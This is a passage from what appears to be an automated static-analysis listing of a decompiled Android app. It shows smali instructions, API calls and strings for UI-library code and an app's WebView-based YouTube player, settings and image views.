11invoke-virtual {p1}, Lcom/mikepenz/a/a;->c()I
12move-result v1
14invoke-virtual {v0, v1}, Landroid/util/SparseArray;->indexOfKey(I)I
15move-result v0
16if-gez v0, :cond_18
18iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
20invoke-virtual {p1}, Lcom/mikepenz/a/a;->c()I
21move-result v1
23invoke-virtual {v0, v1, p1}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
25invoke-direct {p0}, Lcom/mikepenz/a/b;->k()V
26cond_18: return-void
Cross References
APIs
  • android.widget.TextView.setText
  • android.widget.TextView.setVisibility
  • android.widget.TextView.setText
  • android.widget.TextView.setVisibility
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x1
2const/4 v1, 0x0
4iget-object v2, p0, Lcom/mikepenz/materialize/b/d;->a:Ljava/lang/String;
5if-eqz v2, :cond_f
7iget-object v2, p0, Lcom/mikepenz/materialize/b/d;->a:Ljava/lang/String;
9invoke-virtual {p1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
11invoke-virtual {p1, v1}, Landroid/widget/TextView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
12goto_e: return v0
13cond_f: iget v2, p0, Lcom/mikepenz/materialize/b/d;->b:I
14const/4 v3, -0x1
15if-eq v2, v3, :cond_1d
16iget v2, p0, Lcom/mikepenz/materialize/b/d;->b:I
18invoke-virtual {p1, v2}, Landroid/widget/TextView;->setText(I)V
20invoke-virtual {p1, v1}, Landroid/widget/TextView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
21goto/16 :goto_e
22cond_1d: const/16 v0, 0x8
24invoke-virtual {p1, v0}, Landroid/widget/TextView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
25move v0, v1
26goto/16 :goto_e
APIs
  • android.webkit.WebView.getParent
  • android.view.ViewGroup.removeView
  • android.view.ViewGroup.addView
  • com.pedqaesf.app.player.INSYouTubePlayerService.e
  • android.app.Activity.onBackPressed
Position Instruction Meta Information
0.prologue
1sget-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
2if-eqz v0, :cond_1b
4iget-object v0, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
6invoke-virtual {v0}, Landroid/webkit/WebView;->getParent()Landroid/view/ViewParent;
7move-result-object v0
8check-cast v0, Landroid/view/ViewGroup;
10iget-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
12invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
14iget-object v0, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->c:Landroid/view/ViewGroup;
16iget-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
18invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->addView(Landroid/view/View;)V
20invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->e()V
21cond_1b: const/4 v0, 0x0
22sput-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
24invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V
25return-void
Cross References
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • android.animation.ObjectAnimator.start
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.v4.view.ay.c
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->l:Z
2if-nez v0, :cond_7
3if-nez p3, :cond_7
4goto_6: return-void
5cond_7: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
6const/16 v1, 0x13
7if-ge v0, v1, :cond_16
9invoke-direct {p0, p1, p2, p4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/ntb/NavigationTabBar;IZ)V
11iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
13invoke-virtual {v0}, Landroid/animation/ObjectAnimator;->start()V
14goto/16 :goto_6
15cond_16:
16invoke-direct {p0, p1, p4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/ntb/NavigationTabBar;Z)V
18iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
19int-to-float v1, p2
21invoke-virtual {v0, v1}, Landroid/support/v4/view/ay;->c(F)Landroid/support/v4/view/ay;
  • Data flow analysis:
    • p0: 19
22move-result-object v0
24invoke-virtual {v0}, Landroid/support/v4/view/ay;->c()V
25goto/16 :goto_6
Cross References
APIs
  • java.util.Set.clear
  • android.util.SparseIntArray.clear
  • com.mikepenz.a.b.k
  • com.mikepenz.a.b.f
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
2if-eqz v0, :cond_e
4iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
6invoke-interface {v0}, Ljava/util/Set;->clear()V
8iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
10invoke-virtual {v0}, Landroid/util/SparseIntArray;->clear()V
11cond_e:
12invoke-direct {p0}, Lcom/mikepenz/a/b;->k()V
14invoke-virtual {p0}, Lcom/mikepenz/a/b;->f()V
15iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
16if-eqz v0, :cond_22
17const/4 v0, 0x0
19invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
20move-result v1
21add-int/lit8 v1, v1, -0x1
23invoke-static {p0, v0, v1}, Lcom/mikepenz/a/d/a;->a(Lcom/mikepenz/a/b;II)V
24cond_22: return-void
Cross References
APIs
  • android.widget.TextView.setTextColor
  • android.widget.TextView.getContext
  • android.support.v4.content.a.c
  • android.widget.TextView.setTextColor
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
2if-eqz v0, :cond_a
3iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
5invoke-virtual {p1, v0}, Landroid/widget/TextView;->setTextColor(I)V
6goto_9: return-void
7cond_a: iget v0, p0, Lcom/mikepenz/materialize/b/a;->b:I
8const/4 v1, -0x1
9if-eq v0, v1, :cond_1d
11invoke-virtual {p1}, Landroid/widget/TextView;->getContext()Landroid/content/Context;
12move-result-object v0
13iget v1, p0, Lcom/mikepenz/materialize/b/a;->b:I
15invoke-static {v0, v1}, Landroid/support/v4/content/a;->c(Landroid/content/Context;I)I
16move-result v0
18invoke-virtual {p1, v0}, Landroid/widget/TextView;->setTextColor(I)V
19goto/16 :goto_9
20cond_1d: if-eqz p2, :cond_9
22invoke-virtual {p1, p2}, Landroid/widget/TextView;->setTextColor(Landroid/content/res/ColorStateList;)V
23goto/16 :goto_9
Cross References
APIs
  • android.graphics.drawable.StateListDrawable.<init>
  • android.graphics.drawable.Drawable.mutate
  • com.mikepenz.materialize.a.a.addState
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x0
3invoke-direct {p0}, Landroid/graphics/drawable/StateListDrawable;-><init>()V
5invoke-virtual {p1}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
6move-result-object v0
8invoke-virtual {p2}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
9move-result-object v1
10const/4 v2, 0x1
11new-array v2, v2, [I
12const v3, 0x10100a1
13aput v3, v2, v4
15invoke-virtual {p0, v2, v1}, Lcom/mikepenz/materialize/a/a;->addState([ILandroid/graphics/drawable/Drawable;)V
16new-array v1, v4, [I
18invoke-virtual {p0, v1, v0}, Lcom/mikepenz/materialize/a/a;->addState([ILandroid/graphics/drawable/Drawable;)V
19iput p3, p0, Lcom/mikepenz/materialize/a/a;->a:I
20iput p4, p0, Lcom/mikepenz/materialize/a/a;->b:I
21return-void
APIs
  • android.view.View.getTag
  • java.lang.AbstractMethodError.toString
  • android.util.Log.e
Strings
  • WTF
Position Instruction Meta Information
0.prologue
2iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$u;->a:Landroid/view/View;
4invoke-virtual {v0}, Landroid/view/View;->getTag()Ljava/lang/Object;
5move-result-object v0
6check-cast v0, Lcom/mikepenz/a/g;
7if-eqz v0, :cond_d
8try_start_a:
9invoke-interface {v0, p1}, Lcom/mikepenz/a/g;->b(Landroid/support/v7/widget/RecyclerView$u;)V
10goto_d: return-void
11catch_e: move-exception v0
13const-string v1, "WTF"
15invoke-virtual {v0}, Ljava/lang/AbstractMethodError;->toString()Ljava/lang/String;
16move-result-object v0
18invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: WTF
19goto/16 :goto_d
APIs
  • android.webkit.WebViewClient.onPageStarted
  • android.util.Log.d
  • com.pedqaesf.app.views.INSCustomSwipeRefresh.setRefreshing
Strings
  • Main Page Loading
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Landroid/webkit/WebViewClient;->onPageStarted(Landroid/webkit/WebView;Ljava/lang/String;Landroid/graphics/Bitmap;)V
4const-string v0, "Main Page Loading "
6invoke-static {v0, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Main Page Loading
8iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
10iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
11const/4 v1, 0x1
13invoke-virtual {v0, v1}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->setRefreshing(Z)V
  • Data flow analysis:
    • p0: 1
15iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
16iput-object p2, v0, Lcom/pedqaesf/app/INSMainActivity;->p:Ljava/lang/String;
17return-void
APIs
  • java.lang.String.valueOf
  • android.util.Log.d
  • android.os.Handler.post
Strings
  • Player Status
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4const-string v0, "Player Status "
6invoke-static {p1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
7move-result-object v1
9invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Player Status
11sget-object v0, Lcom/pedqaesf/app/player/b;->b:Landroid/os/Handler;
12new-instance v1, Lcom/pedqaesf/app/player/b$1;
14invoke-direct {v1, p0, p1}, Lcom/pedqaesf/app/player/b$1;-><init>(Lcom/pedqaesf/app/player/b;I)V
16invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
17return-void
APIs
  • android.view.View.getTag
  • android.util.Log.e
Strings
  • FastAdapter
  • The bindView method of this item should set the `Tag` on its itemView (https://github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/com/mikepenz/fastadapter/items/AbstractItem.java#L189)
Position Instruction Meta Information
0.prologue
2iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$u;->a:Landroid/view/View;
4invoke-virtual {v0}, Landroid/view/View;->getTag()Ljava/lang/Object;
5move-result-object v0
6check-cast v0, Lcom/mikepenz/a/g;
7if-eqz v0, :cond_e
9invoke-interface {v0, p1}, Lcom/mikepenz/a/g;->a(Landroid/support/v7/widget/RecyclerView$u;)V
10goto_d: return-void
11cond_e:
12const-string v0, "FastAdapter"
14const-string v1, "The bindView method of this item should set the `Tag` on its itemView (https://github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/com/mikepenz/fastadapter/items/AbstractItem.java#L189)"
16invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: FastAdapter
    • msg: The bindView method of this item should set the `Tag` on its itemView (https://github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/com/mikepenz/fastadapter/items/AbstractItem.java#L189)
17goto/16 :goto_d
APIs
  • android.webkit.WebViewClient.onPageFinished
  • com.pedqaesf.app.views.INSCustomSwipeRefresh.setRefreshing
  • android.util.Log.d
Strings
  • Main Page Finished
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V
4iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
6iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
7const/4 v1, 0x0
9invoke-virtual {v0, v1}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->setRefreshing(Z)V
  • Data flow analysis:
    • p0: 0
11const-string v0, "Main Page Finished"
13invoke-static {v0, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Main Page Finished
14return-void
Cross References
APIs
  • android.widget.TextView.getContext
  • android.widget.TextView.setPadding
  • android.widget.TextView.setMinWidth
  • android.widget.TextView.setTextColor
Position Instruction Meta Information
0.prologue
2invoke-virtual {p1}, Landroid/widget/TextView;->getContext()Landroid/content/Context;
3move-result-object v0
5iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->b:Landroid/graphics/drawable/Drawable;
6if-nez v1, :cond_37
7new-instance v1, Lcom/mikepenz/materialdrawer/d/b/a;
9invoke-direct {v1, p0}, Lcom/mikepenz/materialdrawer/d/b/a;-><init>(Lcom/mikepenz/materialdrawer/a/a;)V
11invoke-virtual {v1, v0}, Lcom/mikepenz/materialdrawer/d/b/a;->a(Landroid/content/Context;)Landroid/graphics/drawable/StateListDrawable;
12move-result-object v1
14invoke-static {p1, v1}, Lcom/mikepenz/materialize/c/b;->a(Landroid/view/View;Landroid/graphics/drawable/Drawable;)V
15goto_14:
16iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->e:Lcom/mikepenz/materialdrawer/a/b;
17if-eqz v1, :cond_3d
19iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->e:Lcom/mikepenz/materialdrawer/a/b;
20const/4 v2, 0x0
22invoke-static {v1, p1, v2}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/widget/TextView;Landroid/content/res/ColorStateList;)V
23cond_1e:
24iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->h:Lcom/mikepenz/materialdrawer/a/c;
26invoke-virtual {v1, v0}, Lcom/mikepenz/materialdrawer/a/c;->a(Landroid/content/Context;)I
27move-result v1
29iget-object v2, p0, Lcom/mikepenz/materialdrawer/a/a;->g:Lcom/mikepenz/materialdrawer/a/c;
31invoke-virtual {v2, v0}, Lcom/mikepenz/materialdrawer/a/c;->a(Landroid/content/Context;)I
32move-result v2
34invoke-virtual {p1, v1, v2, v1, v2}, Landroid/widget/TextView;->setPadding(IIII)V
36iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->i:Lcom/mikepenz/materialdrawer/a/c;
38invoke-virtual {v1, v0}, Lcom/mikepenz/materialdrawer/a/c;->a(Landroid/content/Context;)I
39move-result v0
41invoke-virtual {p1, v0}, Landroid/widget/TextView;->setMinWidth(I)V
42return-void
43cond_37:
44iget-object v1, p0, Lcom/mikepenz/materialdrawer/a/a;->b:Landroid/graphics/drawable/Drawable;
46invoke-static {p1, v1}, Lcom/mikepenz/materialize/c/b;->a(Landroid/view/View;Landroid/graphics/drawable/Drawable;)V
47goto/16 :goto_14
48cond_3d: if-eqz p2, :cond_1e
50invoke-virtual {p1, p2}, Landroid/widget/TextView;->setTextColor(Landroid/content/res/ColorStateList;)V
51goto/16 :goto_1e
Cross References
APIs
  • com.mikepenz.a.b.a
  • android.util.SparseArray.valueAt
  • android.util.SparseArray.keyAt
  • android.util.SparseArray.valueAt
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I)",
3"Lcom/mikepenz/a/b$h",
4"<TItem;>;"
5}
6.end annotation
7.prologue
8if-gez p1, :cond_8
9new-instance v0, Lcom/mikepenz/a/b$h;
11invoke-direct {v0}, Lcom/mikepenz/a/b$h;-><init>()V
12goto_7: return-object v0
13cond_8: new-instance v1, Lcom/mikepenz/a/b$h;
15invoke-direct {v1}, Lcom/mikepenz/a/b$h;-><init>()V
17iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
19invoke-static {v0, p1}, Lcom/mikepenz/a/b;->a(Landroid/util/SparseArray;I)I
20move-result v2
21const/4 v0, -0x1
22if-eq v2, v0, :cond_38
24iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
26invoke-virtual {v0, v2}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
27move-result-object v0
28check-cast v0, Lcom/mikepenz/a/c;
30iget-object v3, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
32invoke-virtual {v3, v2}, Landroid/util/SparseArray;->keyAt(I)I
33move-result v3
34sub-int v3, p1, v3
36invoke-interface {v0, v3}, Lcom/mikepenz/a/c;->c(I)Lcom/mikepenz/a/g;
37move-result-object v0
38iput-object v0, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
40iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
42invoke-virtual {v0, v2}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
43move-result-object v0
44check-cast v0, Lcom/mikepenz/a/c;
45iput-object v0, v1, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
46iput p1, v1, Lcom/mikepenz/a/b$h;->c:I
47cond_38: move-object v0, v1
48goto/16 :goto_7
APIs
  • java.lang.Iterable.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • com.mikepenz.a.a.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/lang/Iterable",
4"<TItem;>;)V"
5}
6.end annotation
7.prologue
8if-eqz p1, :cond_16
10invoke-interface {p1}, Ljava/lang/Iterable;->iterator()Ljava/util/Iterator;
11move-result-object v1
12goto_6:
13invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
14move-result v0
15if-eqz v0, :cond_16
17invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
18move-result-object v0
19check-cast v0, Lcom/mikepenz/a/g;
21invoke-virtual {p0, v0}, Lcom/mikepenz/a/a;->a(Lcom/mikepenz/a/g;)V
22goto/16 :goto_6
23cond_16: return-void
APIs
  • android.content.SharedPreferences.edit
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x1
2if-eq p2, v0, :cond_5
3if-nez p2, :cond_1e
4cond_5: sput-boolean p2, Lcom/pedqaesf/app/b;->f:Z
6iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity$1;->a:Lcom/pedqaesf/app/INSSettingsActivity;
8iget-object v0, v0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
10invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
11move-result-object v0
13iget-object v1, p0, Lcom/pedqaesf/app/INSSettingsActivity$1;->a:Lcom/pedqaesf/app/INSSettingsActivity;
14const v2, 0x7f080036
16invoke-virtual {v1, v2}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131230774
17move-result-object v1
19invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
21invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
22cond_1e: return-void
Cross References
APIs
  • android.graphics.drawable.StateListDrawable.<init>
  • android.graphics.drawable.Drawable.mutate
  • com.mikepenz.materialize.a.a.addState
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3invoke-direct {p0}, Landroid/graphics/drawable/StateListDrawable;-><init>()V
5invoke-virtual {p1}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
6move-result-object v0
7const/4 v1, 0x1
8new-array v1, v1, [I
9const v2, 0x10100a1
10aput v2, v1, v3
12invoke-virtual {p0, v1, v0}, Lcom/mikepenz/materialize/a/a;->addState([ILandroid/graphics/drawable/Drawable;)V
13new-array v1, v3, [I
15invoke-virtual {p0, v1, v0}, Lcom/mikepenz/materialize/a/a;->addState([ILandroid/graphics/drawable/Drawable;)V
16iput p2, p0, Lcom/mikepenz/materialize/a/a;->a:I
17iput p3, p0, Lcom/mikepenz/materialize/a/a;->b:I
18return-void
APIs
  • android.widget.ImageView.setImageURI
  • com.pedqaesf.app.views.INSCircularImageView.getDrawable
  • com.pedqaesf.app.views.INSCircularImageView.a
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/widget/ImageView;->setImageURI(Landroid/net/Uri;)V
3if-eqz p1, :cond_13
5invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getDrawable()Landroid/graphics/drawable/Drawable;
6move-result-object v0
8invoke-direct {p0, v0}, Lcom/pedqaesf/app/views/INSCircularImageView;->a(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
9move-result-object v0
10goto_d: iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
12invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
13return-void
14cond_13: const/4 v0, 0x0
15goto/16 :goto_d
APIs
  • com.pedqaesf.app.views.INSCircularImageView.getContext
  • android.content.Context.getResources
  • android.content.res.Resources.getColor
  • com.pedqaesf.app.views.INSCircularImageView.setBorderColor
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getContext()Landroid/content/Context;
3move-result-object v0
5invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
6move-result-object v0
8invoke-virtual {v0, p1}, Landroid/content/res/Resources;->getColor(I)I
9move-result v0
11invoke-virtual {p0, v0}, Lcom/pedqaesf/app/views/INSCircularImageView;->setBorderColor(I)V
12return-void
APIs
  • com.pedqaesf.app.views.INSCircularImageView.getContext
  • android.content.Context.getResources
  • android.content.res.Resources.getColor
  • com.pedqaesf.app.views.INSCircularImageView.setFillColor
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getContext()Landroid/content/Context;
3move-result-object v0
5invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
6move-result-object v0
8invoke-virtual {v0, p1}, Landroid/content/res/Resources;->getColor(I)I
9move-result v0
11invoke-virtual {p0, v0}, Lcom/pedqaesf/app/views/INSCircularImageView;->setFillColor(I)V
12return-void
APIs
  • android.widget.ImageView.setImageResource
  • com.pedqaesf.app.views.INSCircularImageView.getDrawable
  • com.pedqaesf.app.views.INSCircularImageView.a
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/widget/ImageView;->setImageResource(I)V
4invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getDrawable()Landroid/graphics/drawable/Drawable;
5move-result-object v0
7invoke-direct {p0, v0}, Lcom/pedqaesf/app/views/INSCircularImageView;->a(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
8move-result-object v0
9iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
11invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
12return-void
APIs
  • android.content.Context.getAssets
  • android.graphics.Typeface.createFromAsset
Strings
  • fonts/materialdrawerfont-font-v5.0.0.ttf
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/mikepenz/materialdrawer/b/a;->a:Landroid/graphics/Typeface;
3if-nez v0, :cond_10
4try_start_4:
5invoke-virtual {p1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
6move-result-object v0
8const-string v1, "fonts/materialdrawerfont-font-v5.0.0.ttf"
10invoke-static {v0, v1}, Landroid/graphics/Typeface;->createFromAsset(Landroid/content/res/AssetManager;Ljava/lang/String;)Landroid/graphics/Typeface;
  • Data flow analysis:
    • path: fonts/materialdrawerfont-font-v5.0.0.ttf
11move-result-object v0
12sput-object v0, Lcom/mikepenz/materialdrawer/b/a;->a:Landroid/graphics/Typeface;
13try_end_10:
14sget-object v0, Lcom/mikepenz/materialdrawer/b/a;->a:Landroid/graphics/Typeface;
15goto_12: return-object v0
16catch_13: move-exception v0
17const/4 v0, 0x0
18goto/16 :goto_12
APIs
  • java.lang.String.format
  • java.lang.IllegalArgumentException.<init>
Strings
  • ScaleType %s not supported.
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/views/INSCircularImageView;->a:Landroid/widget/ImageView$ScaleType;
3if-eq p1, v0, :cond_16
4new-instance v0, Ljava/lang/IllegalArgumentException;
6const-string v1, "ScaleType %s not supported."
7const/4 v2, 0x1
8new-array v2, v2, [Ljava/lang/Object;
9const/4 v3, 0x0
10aput-object p1, v2, v3
12invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
  • Data flow analysis:
    • p0: ScaleType %s not supported.
13move-result-object v1
15invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
16throw v0
17cond_16: return-void
APIs
  • android.util.Log.d
  • android.os.Handler.post
Strings
  • New Video Id
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4const-string v0, "New Video Id "
6invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: New Video Id
8sget-object v0, Lcom/pedqaesf/app/player/b;->b:Landroid/os/Handler;
9new-instance v1, Lcom/pedqaesf/app/player/b$2;
11invoke-direct {v1, p0, p1}, Lcom/pedqaesf/app/player/b$2;-><init>(Lcom/pedqaesf/app/player/b;Ljava/lang/String;)V
13invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
14return-void
APIs
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSMainActivity.startActivityForResult
Strings
  • android.settings.SETTINGS
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$9;->a:Lcom/pedqaesf/app/INSMainActivity;
3new-instance v1, Landroid/content/Intent;
5const-string v2, "android.settings.SETTINGS"
7invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.settings.SETTINGS
8const/4 v2, 0x0
10invoke-virtual {v0, v1, v2}, Lcom/pedqaesf/app/INSMainActivity;->startActivityForResult(Landroid/content/Intent;I)V
  • Data flow analysis:
    • p1: 0
11return-void
Cross References
APIs
  • android.view.View.setOnClickListener
  • android.view.View.setOnLongClickListener
  • android.view.View.setOnTouchListener
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lcom/mikepenz/a/c/c",
4"<TItem;>;",
5"Landroid/support/v7/widget/RecyclerView$u;",
6"Landroid/view/View;",
7")V"
8}
9.end annotation
10.prologue
11instance-of v0, p1, Lcom/mikepenz/a/c/a;
12if-eqz v0, :cond_d
13new-instance v0, Lcom/mikepenz/a/b/a$1;
15invoke-direct {v0, p0, p2, p1}, Lcom/mikepenz/a/b/a$1;-><init>(Lcom/mikepenz/a/b/a;Landroid/support/v7/widget/RecyclerView$u;Lcom/mikepenz/a/c/c;)V
17invoke-virtual {p3, v0}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V
18cond_c: return-void
19cond_d: instance-of v0, p1, Lcom/mikepenz/a/c/d;
20if-eqz v0, :cond_1a
21new-instance v0, Lcom/mikepenz/a/b/a$2;
23invoke-direct {v0, p0, p2, p1}, Lcom/mikepenz/a/b/a$2;-><init>(Lcom/mikepenz/a/b/a;Landroid/support/v7/widget/RecyclerView$u;Lcom/mikepenz/a/c/c;)V
25invoke-virtual {p3, v0}, Landroid/view/View;->setOnLongClickListener(Landroid/view/View$OnLongClickListener;)V
26goto/16 :goto_c
27cond_1a: instance-of v0, p1, Lcom/mikepenz/a/c/e;
28if-eqz v0, :cond_27
29new-instance v0, Lcom/mikepenz/a/b/a$3;
31invoke-direct {v0, p0, p2, p1}, Lcom/mikepenz/a/b/a$3;-><init>(Lcom/mikepenz/a/b/a;Landroid/support/v7/widget/RecyclerView$u;Lcom/mikepenz/a/c/c;)V
33invoke-virtual {p3, v0}, Landroid/view/View;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V
34goto/16 :goto_c
35cond_27: instance-of v0, p1, Lcom/mikepenz/a/c/b;
36if-eqz v0, :cond_c
37check-cast p1, Lcom/mikepenz/a/c/b;
39iget-object v0, p0, Lcom/mikepenz/a/b/a;->a:Lcom/mikepenz/a/b;
